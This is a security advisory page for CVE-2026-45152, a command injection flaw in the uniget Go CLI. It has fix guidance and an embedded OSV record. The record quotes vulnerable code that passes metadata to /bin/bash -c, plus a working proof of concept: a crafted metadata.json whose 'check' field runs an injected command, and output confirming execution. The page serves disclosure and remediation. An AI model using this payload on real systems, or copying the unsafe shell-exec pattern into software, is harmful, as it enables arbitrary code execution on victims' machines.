CVE-2026-45152: Gitlab.com/uniget org/cli Uniget Is Vulnerable To Command Vulnerability
HIGHCVE-2026-45152 is a HIGH (CVSS 7.8) uniget is vulnerable to command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Gitlab.com/uniget org/cli libraries in the Go ecosystem. The issue involves uniget is vulnerable to command injection in tool.check leading to arbitrary code execution. Remediation is available by upgrading affected packages to version 0.27.1.
CVE-2026-45152 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-45152
To remediate this vulnerability, upgrade all affected Gitlab.com/uniget org/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade gitlab.com/uniget-org/cli to 0.27.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for gitlab.com/uniget-org/cli
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45152, inspect your project dependencies for Gitlab.com/uniget org/cli:
inspect dependencies for gitlab.com/uniget-org/cli
Analyze the terminal output to locate any version of Gitlab.com/uniget org/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.27.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Gitlab.com/uniget org/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45152 Affected Gitlab.com/uniget org/cli Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
gitlab.com/uniget-org/cli
|
Go |
< 0.27.1
|
0.27.1
|
References
Frequently Asked Questions
What is CVE-2026-45152?
Which Gitlab.com/uniget org/cli versions are affected?
What version fixes CVE-2026-45152?
Is gitlab.com/uniget-org/cli affected?
What is the CVSS score of CVE-2026-45152?
What CWE is associated with CVE-2026-45152?
How can I check Go dependencies for CVE-2026-45152?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qqq4-5773-pmw5",
"modified" : "2026-06-08T23:54:59Z",
"published" : "2026-05-13T15:33:10Z",
"aliases" : [ "CVE-2026-45152" ],
"summary" : "uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution",
"details" : "I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.\n\n### Summary\n\nA command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed.\n\nThis vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.\n\n### Details\n\nThe vulnerable code is located in:\n\n`tool.go:250`\n\nVulnerable function:\n\n```go id=\"f2g0ic\"\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n cmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n version, err := cmd.Output()\n return string(version), nil\n}\n```\n\nThe issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.\n\nRelated structure:\n\n```go id=\"7f4yzm\"\ntype Tool struct {\n Check string\n}\n```\n\nMetadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.\n\nBecause `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection.\n\n### PoC\n\nStep 1 — Verify the vulnerable binary:\n\n```bash id=\"7k3d07\"\n/tmp/uniget-bin --version\n```\n\nOutput:\n\n```text id=\"p2gk9z\"\nuniget version main\n```\n\nStep 2 — Create malicious metadata cache:\n\n```bash id=\"j5zpr0\"\nmkdir -p ~/.local/var/cache/uniget\n\ncat > ~/.local/var/cache/uniget/metadata.json << 'EOF'\n{\n \"tools\": [\n {\n \"name\": \"evil-tool\",\n \"version\": \"1.0.0\",\n \"binary\": \"${target}/bin/evil-tool\",\n \"check\": \"echo '1.0.0'; id > /tmp/rce-proof.txt\",\n \"tags\": [\"test\"],\n \"description\": \"RCE test\",\n \"repository\": \"https://example.com\",\n \"license\": {\n \"name\": \"MIT\",\n \"link\": \"https://example.com\"\n },\n \"sources\": [\n {\n \"registry\": \"ghcr.io\",\n \"repository\": \"uniget-org/tools\"\n }\n ]\n }\n ]\n}\nEOF\n```\n\nStep 3 — Create placeholder binary:\n\n```bash id=\"53ml7u\"\nmkdir -p ~/.local/usr/local/bin\n\ncat > ~/.local/usr/local/bin/evil-tool << 'EOF'\n#!/bin/bash\necho \"placeholder\"\nEOF\n\nchmod +x ~/.local/usr/local/bin/evil-tool\n```\n\nStep 4 — Trigger the vulnerable workflow:\n\n```bash id=\"w4j7h4\"\n/tmp/uniget-bin describe evil-tool --prefix ~/.local\n```\n\nApplication output:\n\n```text id=\"q0k54m\"\nName: evil-tool\n Description: RCE test\n Repository: https://example.com\n Version: 1.0.0\n Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>\n```\n\nStep 5 — Verify arbitrary command execution:\n\n```bash id=\"w7r8z3\"\nls -la /tmp/rce-proof.txt\ncat /tmp/rce-proof.txt\n```\n\nActual output:\n\n```bash id=\"6plm7v\"\n-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt\n\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)\n```\n\n<img width=\"1107\" height=\"694\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7\" />\n\n<img width=\"1909\" height=\"631\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e\" />\n\n\nThis confirms arbitrary command execution through the untrusted `check` field loaded from metadata.\n\n### Impact\n\nThis issue allows arbitrary command execution on systems running uniget when processing malicious metadata.\n\nAn attacker may be able to:\n\n* Execute arbitrary shell commands\n* Exfiltrate sensitive files or environment variables\n* Install malware or backdoors\n* Modify or delete accessible files\n* Establish persistence on the victim machine\n* Compromise CI/CD environments using uniget automation\n\nAny user importing or processing attacker-controlled metadata may be impacted.\n\n### Suggested Remediation\n\nAvoid using `/bin/bash -c` with untrusted input.\n\nInstead of:\n\n```go id=\"ntxjlwm\"\nexec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n```\n\nconsider executing fixed binaries and arguments directly without invoking a shell.\n\nFor example:\n\n```go id=\"ngbkk2\"\nexec.Command(binary, \"--version\")\n```\n\nor sanitize and strictly validate allowed commands before execution.\n\nThank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "gitlab.com/uniget-org/cli"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.27.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45152"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/uniget-org/cli"
}, {
"type" : "WEB",
"url" : "https://github.com/uniget-org/cli/releases/tag/v0.27.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-13T15:33:10Z",
"nvd_published_at" : "2026-05-27T22:16:36Z"
}
}